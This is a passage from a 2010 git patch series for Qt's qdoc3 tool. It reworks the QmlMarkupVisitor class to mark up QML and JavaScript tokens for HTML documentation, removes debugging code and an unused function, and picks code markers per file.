QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TryStatement *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionExpression *expression) { write(""); - addVerbatim(expression->functionToken); - addVerbatim(expression->identifierToken); + addMarkedUpToken(expression->functionToken, QLatin1String("keyword")); + addMarkedUpToken(expression->identifierToken, QLatin1String("name")); addVerbatim(expression->lparenToken); QDeclarativeJS::AST::Node::accept(expression->formals, this); addVerbatim(expression->rparenToken); @@ -1271,8 +1340,8 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionExpression *express bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionDeclaration *declaration) { write(""); - addVerbatim(declaration->functionToken); - addVerbatim(declaration->identifierToken); + addMarkedUpToken(declaration->functionToken, QLatin1String("keyword")); + addMarkedUpToken(declaration->identifierToken, QLatin1String("name")); addVerbatim(declaration->lparenToken); QDeclarativeJS::AST::Node::accept(declaration->formals, this); addVerbatim(declaration->rparenToken); @@ -1290,9 +1359,9 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionDeclaration *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FormalParameterList *list) { write(""); - addVerbatim(list->commaToken, list->commaToken); - addVerbatim(list->identifierToken, list->identifierToken); - return true; + addVerbatim(list->commaToken); + addMarkedUpToken(list->identifierToken, QLatin1String("name")); + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FormalParameterList *) @@ -1346,10 +1415,12 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StatementSourceElement *) endWrite(""); } -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *) +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition) { write(""); - return true; + QDeclarativeJS::AST::Node::accept(definition->qualifiedTypeNameId, this); + QDeclarativeJS::AST::Node::accept(definition->initializer, this); + return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectDefinition *) diff --git a/tools/qdoc3/qmlmarkupvisitor.h b/tools/qdoc3/qmlmarkupvisitor.h index 86e1ac2..01b0acf 100644 --- a/tools/qdoc3/qmlmarkupvisitor.h +++ b/tools/qdoc3/qmlmarkupvisitor.h @@ -52,7 +52,7 @@ QT_BEGIN_NAMESPACE class QmlMarkupVisitor : public QDeclarativeJS::AST::Visitor { public: - QmlMarkupVisitor(const QString &code, bool debug = false); + QmlMarkupVisitor(const QString &code, QDeclarativeJS::Engine *engine); virtual ~QmlMarkupVisitor(); QString markedUpCode(); @@ -317,7 +317,11 @@ public: virtual bool visit(QDeclarativeJS::AST::UiParameterList *); virtual void endVisit(QDeclarativeJS::AST::UiParameterList *); +protected: + QString protect(const QString &string); + private: + void addExtra(quint32 start, quint32 finish); void addMarkedUpToken(QDeclarativeJS::AST::SourceLocation &location, const QString &text); void addVerbatim(QDeclarativeJS::AST::SourceLocation first, @@ -326,11 +330,13 @@ private: void write(const QString &text); void endWrite(const QString &text); + QDeclarativeJS::Engine *engine; QString source; QString output; quint32 cursor; + quint32 commentIndex; int indent; - bool showDebug; + QString debug; }; QT_END_NAMESPACE -- cgit v0.12 From 88a86d8e2c82edf53b56afcc2f80fffd32a18e49 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 30 Nov 2010 18:28:27 +0100 Subject: Made more adjustments to node handling and removed debugging statements. --- tools/qdoc3/qmlmarkupvisitor.cpp | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp index 4564dc5..387b562 100644 --- a/tools/qdoc3/qmlmarkupvisitor.cpp +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -39,7 +39,6 @@ ** ****************************************************************************/ -#include #include #include #include "private/qdeclarativejsast_p.h" @@ -57,7 +56,7 @@ QmlMarkupVisitor::QmlMarkupVisitor(const QString &source, QDeclarativeJS::Engine indent = 0; cursor = 0; commentIndex = 0; - debug += QString("Comments %1\n").arg(engine->comments().length()); + QString("Comments %1\n").arg(engine->comments().length()); } QmlMarkupVisitor::~QmlMarkupVisitor() @@ -94,8 +93,6 @@ QString QmlMarkupVisitor::markedUpCode() if (cursor < source.length()) addExtra(cursor, source.length()); - //qDebug() << debug; - qDebug() << output; return output; } @@ -157,7 +154,7 @@ void QmlMarkupVisitor::addMarkedUpToken( if (cursor < location.offset) addExtra(cursor, location.offset); else if (cursor > location.offset) - debug += QString("%1 %2\n").arg(cursor).arg(location.offset); + return; output += QString(QLatin1String("<@%1>%2")).arg(tagName, protect(sourceText(location)), tagName); cursor += location.length; @@ -184,7 +181,7 @@ void QmlMarkupVisitor::addVerbatim(QDeclarativeJS::AST::SourceLocation first, if (cursor < start) addExtra(cursor, start); else if (cursor > start) - debug += QString("%1 %2 %3 x\n").arg(sourceText(first)).arg(cursor).arg(start); + return; QString text = source.mid(start, finish - start); write(text); @@ -195,11 +192,10 @@ void QmlMarkupVisitor::addVerbatim(QDeclarativeJS::AST::SourceLocation first, void QmlMarkupVisitor::write(const QString &text) { - debug += QString().fill(QChar(' '), indent) + text + QLatin1String("\n"); indent += 1; } -void QmlMarkupVisitor::endWrite(const QString &) +void QmlMarkupVisitor::endWrite(const QString &text) { indent -= 1; } @@ -877,6 +873,9 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ConditionalExpression *) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Expression *expression) { write(""); + QDeclarativeJS::AST::Node::accept(expression->left, this); + addVerbatim(expression->commaToken); + QDeclarativeJS::AST::Node::accept(expression->right, this); return true; } @@ -987,9 +986,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IfStatement *statement) QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->rparenToken); QDeclarativeJS::AST::Node::accept(statement->ok, this); - //addMarkedUpToken(statement->elseToken, QLatin1String("keyword")); - //addVerbatim(statement->elseToken); ### this token referred to the wrong source text for some reason - QDeclarativeJS::AST::Node::accept(statement->ko, this); + if (statement->ko) { + addMarkedUpToken(statement->elseToken, QLatin1String("keyword")); + QDeclarativeJS::AST::Node::accept(statement->ko, this); + } return false; } -- cgit v0.12 From eae5f69a23d46d237ee2021319d093c580dff679 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 1 Dec 2010 11:57:35 +0100 Subject: Removed an unused function. --- tools/qdoc3/main.cpp | 15 --------------- 1 file changed, 15 deletions(-) diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index ac1c5de..68b5370 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -95,21 +95,6 @@ static QStringList defines; static QHash trees; /*! - Find the Tree for language \a lang and return a pointer to it. - If there is no Tree for language \a lang in the Tree table, add - a new one. The Tree table is indexed by \a lang strings. - */ -static Tree* treeForLanguage(const QString &lang) -{ - Tree* tree = trees.value(lang); - if (tree == 0) { - tree = new Tree; - trees.insert( lang, tree ); - } - return tree; -} - -/*! Print the help message to \c stdout. */ static void printHelp() -- cgit v0.12 From 0dd0313a194c73508a4fbbf69c716407b781cc6e Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 1 Dec 2010 12:04:46 +0100 Subject: Select the appropriate code marker for each file. --- tools/qdoc3/generator.cpp | 2 +- tools/qdoc3/htmlgenerator.cpp | 10 ++++++++-- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index 0f2454e..1b17452 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -514,7 +514,7 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) Doc::quoteFromFile(fake->doc().location(), quoter, fake->name()); QString code = quoter.quoteTo(fake->location(), "", ""); text << Atom(Atom::Code, code); - generateText(text, fake, marker); + generateText(text, fake, CodeMarker::markerForFileName(fake->name())); } } } diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 5f70de4..456654f 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -1341,8 +1341,8 @@ void HtmlGenerator::generateClassLikeNode(const InnerNode *inner, } /*! - Generate the html page for a qdoc file that doesn't map - to an underlying c++ file. + Generate the HTML page for a qdoc file that doesn't map + to an underlying C++ file. */ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) { @@ -1360,6 +1360,9 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) else if (fake->subType() == Node::QmlBasicType) { fullTitle = "QML Basic Type: " + fullTitle; htmlTitle = fullTitle; + + // Replace the marker with a QML code marker. + marker = CodeMarker::markerForLanguage(QLatin1String("QML")); } generateHeader(htmlTitle, fake, marker); @@ -1373,6 +1376,9 @@ void HtmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) qml_cn = static_cast(fake); sections = marker->qmlSections(qml_cn,CodeMarker::Summary,0); generateTableOfContents(fake,marker,§ions); + + // Replace the marker with a QML code marker. + marker = CodeMarker::markerForLanguage(QLatin1String("QML")); } else if (fake->name() != QString("index.html")) generateTableOfContents(fake,marker,0); -- cgit v0.12 From 76152172c04a40dc9e27423ec092f23da4d628dc Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 1 Dec 2010 12:05:35 +0100 Subject: Trivial comment fix. --- tools/qdoc3/pagegenerator.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp index 60b40c9..cde4b45 100644 --- a/tools/qdoc3/pagegenerator.cpp +++ b/tools/qdoc3/pagegenerator.cpp @@ -299,7 +299,7 @@ QTextStream &PageGenerator::out() } /*! - Recursive writing of html files from the root \a node. + Recursive writing of HTML files from the root \a node. */ void PageGenerator::generateInnerNode(const InnerNode* node) -- cgit v0.12 From d877b3d3b34d4f5c6f9683c54d54e54a37a39998 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 1 Dec 2010 12:30:19 +0100 Subject: Fixed/adjusted handling of UiPublicMember nodes. Removed debugging code. --- tools/qdoc3/qmlmarkupvisitor.cpp | 202 +-------------------------------------- tools/qdoc3/qmlmarkupvisitor.h | 2 - 2 files changed, 5 insertions(+), 199 deletions(-) diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp index 387b562..6335ab6 100644 --- a/tools/qdoc3/qmlmarkupvisitor.cpp +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -56,7 +56,6 @@ QmlMarkupVisitor::QmlMarkupVisitor(const QString &source, QDeclarativeJS::Engine indent = 0; cursor = 0; commentIndex = 0; - QString("Comments %1\n").arg(engine->comments().length()); } QmlMarkupVisitor::~QmlMarkupVisitor() @@ -90,7 +89,7 @@ QString QmlMarkupVisitor::protect(const QString& str) QString QmlMarkupVisitor::markedUpCode() { - if (cursor < source.length()) + if (int(cursor) < source.length()) addExtra(cursor, source.length()); return output; @@ -184,36 +183,22 @@ void QmlMarkupVisitor::addVerbatim(QDeclarativeJS::AST::SourceLocation first, return; QString text = source.mid(start, finish - start); - write(text); indent -= 1; output += protect(text); cursor = finish; } -void QmlMarkupVisitor::write(const QString &text) -{ - indent += 1; -} - -void QmlMarkupVisitor::endWrite(const QString &text) -{ - indent -= 1; -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiProgram *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiProgram *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImport *uiimport) { - write(""); addVerbatim(uiimport->importToken); if (!uiimport->importUri) addMarkedUpToken(uiimport->fileNameToken, QLatin1String("headerfile")); @@ -222,17 +207,14 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImport *uiimport) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiImport *uiimport) { - endWrite(""); addVerbatim(uiimport->versionToken); addVerbatim(uiimport->asToken); addMarkedUpToken(uiimport->importIdToken, QLatin1String("headerfile")); addVerbatim(uiimport->semicolonToken); - //endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member) { - write(""); if (member->type == QDeclarativeJS::AST::UiPublicMember::Property) { addVerbatim(member->defaultToken); addVerbatim(member->readonlyToken); @@ -241,7 +223,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member) addMarkedUpToken(member->typeToken, QLatin1String("type")); addMarkedUpToken(member->identifierToken, QLatin1String("name")); addVerbatim(member->colonToken); - QDeclarativeJS::AST::Node::accept(member->binding, this); + if (member->binding) + QDeclarativeJS::AST::Node::accept(member->binding, this); + else if (member->expression) + QDeclarativeJS::AST::Node::accept(member->expression, this); } else { addVerbatim(member->propertyToken); addVerbatim(member->typeModifierToken); @@ -255,47 +240,39 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiPublicMember *member) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiSourceElement *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiSourceElement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiParameterList *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiParameterList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectInitializer *initializer) { - write(""); addVerbatim(initializer->lbraceToken, initializer->lbraceToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectInitializer *initializer) { - endWrite(""); addVerbatim(initializer->rbraceToken, initializer->rbraceToken); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectBinding *binding) { - write(""); QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); addVerbatim(binding->colonToken); QDeclarativeJS::AST::Node::accept(binding->qualifiedTypeNameId, this); @@ -305,12 +282,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectBinding *binding) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectBinding *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiScriptBinding *binding) { - write(""); QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); addVerbatim(binding->colonToken); QDeclarativeJS::AST::Node::accept(binding->statement, this); @@ -319,12 +294,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiScriptBinding *binding) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiScriptBinding *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayBinding *binding) { - write(""); QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); addVerbatim(binding->colonToken); addVerbatim(binding->lbracketToken); @@ -335,12 +308,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayBinding *binding) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiArrayBinding *formal) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayMemberList *list) { - write(""); for (QDeclarativeJS::AST::UiArrayMemberList *it = list; it; it = it->next) { QDeclarativeJS::AST::Node::accept(it->member, this); //addVerbatim(it->commaToken); @@ -350,24 +321,20 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayMemberList *list) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiArrayMemberList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiQualifiedId *id) { - write(""); addMarkedUpToken(id->identifierToken, QLatin1String("name")); return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiQualifiedId *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiSignature *signature) { - write(""); addVerbatim(signature->lparenToken); return true; } @@ -375,12 +342,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiSignature *signature) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiSignature *signature) { addVerbatim(signature->rparenToken); - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormal *formal) { - write(""); addMarkedUpToken(formal->identifierToken, QLatin1String("name")); addVerbatim(formal->asToken); addVerbatim(formal->aliasToken); @@ -389,116 +354,98 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormal *formal) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiFormal *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThisExpression *expression) { - write(""); addVerbatim(expression->thisToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ThisExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IdentifierExpression *identifier) { - write(""); addMarkedUpToken(identifier->identifierToken, QLatin1String("name")); return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IdentifierExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NullExpression *null) { - write(""); addMarkedUpToken(null->nullToken, QLatin1String("number")); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NullExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TrueLiteral *literal) { - write(""); addMarkedUpToken(literal->trueToken, QLatin1String("number")); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TrueLiteral *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FalseLiteral *literal) { - write(""); addMarkedUpToken(literal->falseToken, QLatin1String("number")); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FalseLiteral *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NumericLiteral *literal) { - //write(""); addMarkedUpToken(literal->literalToken, QLatin1String("number")); return false; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NumericLiteral *) { - //endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StringLiteral *literal) { - //write(""); addMarkedUpToken(literal->literalToken, QLatin1String("string")); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StringLiteral *) { - //endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::RegExpLiteral *literal) { - write(""); addVerbatim(literal->literalToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::RegExpLiteral *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayLiteral *literal) { - write(""); addVerbatim(literal->lbracketToken); QDeclarativeJS::AST::Node::accept(literal->elements, this); addVerbatim(literal->rbracketToken); @@ -507,13 +454,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayLiteral *literal) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ArrayLiteral *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ObjectLiteral *literal) { - write(""); addVerbatim(literal->lbraceToken); return true; } @@ -521,13 +466,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ObjectLiteral *literal) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ObjectLiteral *literal) { addVerbatim(literal->rbraceToken); - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ElementList *list) { - write(""); for (QDeclarativeJS::AST::ElementList *it = list; it; it = it->next) { QDeclarativeJS::AST::Node::accept(it->expression, this); //addVerbatim(it->commaToken); @@ -538,58 +481,48 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ElementList *list) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ElementList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Elision *elision) { - write(""); addVerbatim(elision->commaToken, elision->commaToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Elision *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IdentifierPropertyName *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IdentifierPropertyName *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StringLiteralPropertyName *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StringLiteralPropertyName *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NumericLiteralPropertyName *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NumericLiteralPropertyName *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PropertyNameAndValueList *list) { - write(""); QDeclarativeJS::AST::Node::accept(list->name, this); addVerbatim(list->colonToken, list->colonToken); QDeclarativeJS::AST::Node::accept(list->value, this); @@ -599,24 +532,20 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PropertyNameAndValueList *list void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PropertyNameAndValueList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NestedExpression *expression) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NestedExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayMemberExpression *expression) { - write(""); QDeclarativeJS::AST::Node::accept(expression->base, this); addVerbatim(expression->lbracketToken); QDeclarativeJS::AST::Node::accept(expression->expression, this); @@ -626,13 +555,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayMemberExpression *express void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ArrayMemberExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FieldMemberExpression *expression) { - write(""); QDeclarativeJS::AST::Node::accept(expression->base, this); addVerbatim(expression->dotToken); addMarkedUpToken(expression->identifierToken, QLatin1String("name")); @@ -641,13 +568,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FieldMemberExpression *express void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FieldMemberExpression *expression) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewMemberExpression *expression) { - write(""); addVerbatim(expression->newToken); QDeclarativeJS::AST::Node::accept(expression->base, this); addVerbatim(expression->lparenToken); @@ -658,194 +583,164 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewMemberExpression *expressio void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NewMemberExpression *expression) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewExpression *expression) { - write(""); addVerbatim(expression->newToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NewExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CallExpression *expression) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CallExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArgumentList *list) { - write(""); addVerbatim(list->commaToken, list->commaToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ArgumentList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PostIncrementExpression *expression) { - write(""); addVerbatim(expression->incrementToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PostIncrementExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PostDecrementExpression *expression) { - write(""); addVerbatim(expression->decrementToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PostDecrementExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DeleteExpression *expression) { - write(""); addVerbatim(expression->deleteToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DeleteExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VoidExpression *expression) { - write(""); addVerbatim(expression->voidToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VoidExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TypeOfExpression *expression) { - write(""); addVerbatim(expression->typeofToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TypeOfExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PreIncrementExpression *expression) { - write(""); addVerbatim(expression->incrementToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PreIncrementExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PreDecrementExpression *expression) { - write(""); addVerbatim(expression->decrementToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PreDecrementExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryPlusExpression *expression) { - write(""); addVerbatim(expression->plusToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UnaryPlusExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryMinusExpression *expression) { - write(""); addVerbatim(expression->minusToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UnaryMinusExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TildeExpression *expression) { - write(""); addVerbatim(expression->tildeToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TildeExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NotExpression *expression) { - write(""); addVerbatim(expression->notToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NotExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BinaryExpression *expression) { - write(""); QDeclarativeJS::AST::Node::accept(expression->left, this); addMarkedUpToken(expression->operatorToken, QLatin1String("op")); QDeclarativeJS::AST::Node::accept(expression->right, this); @@ -854,25 +749,21 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BinaryExpression *expression) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::BinaryExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ConditionalExpression *expression) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ConditionalExpression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Expression *expression) { - write(""); QDeclarativeJS::AST::Node::accept(expression->left, this); addVerbatim(expression->commaToken); QDeclarativeJS::AST::Node::accept(expression->right, this); @@ -881,12 +772,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Expression *expression) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Expression *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Block *block) { - write(""); addVerbatim(block->lbraceToken); return true; } @@ -894,23 +783,19 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Block *block) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Block *block) { addVerbatim(block->rbraceToken); - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StatementList *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StatementList *) { - endWrite(""); addVerbatim(statement->declarationKindToken); QDeclarativeJS::AST::Node::accept(statement->declarations, this); addVerbatim(statement->semicolonToken); @@ -919,13 +804,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclarationList *list) { - write(""); for (QDeclarativeJS::AST::VariableDeclarationList *it = list; it; it = it->next) { QDeclarativeJS::AST::Node::accept(it->declaration, this); addVerbatim(it->commaToken); @@ -935,12 +818,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclarationList *list) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableDeclarationList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclaration *declaration) { - write(""); addMarkedUpToken(declaration->identifierToken, QLatin1String("name")); QDeclarativeJS::AST::Node::accept(declaration->expression, this); return false; @@ -948,39 +829,33 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclaration *declarati void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableDeclaration *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::EmptyStatement *statement) { - write(""); addVerbatim(statement->semicolonToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::EmptyStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ExpressionStatement *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ExpressionStatement *statement) { addVerbatim(statement->semicolonToken); - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IfStatement *statement) { - write(""); addMarkedUpToken(statement->ifToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); 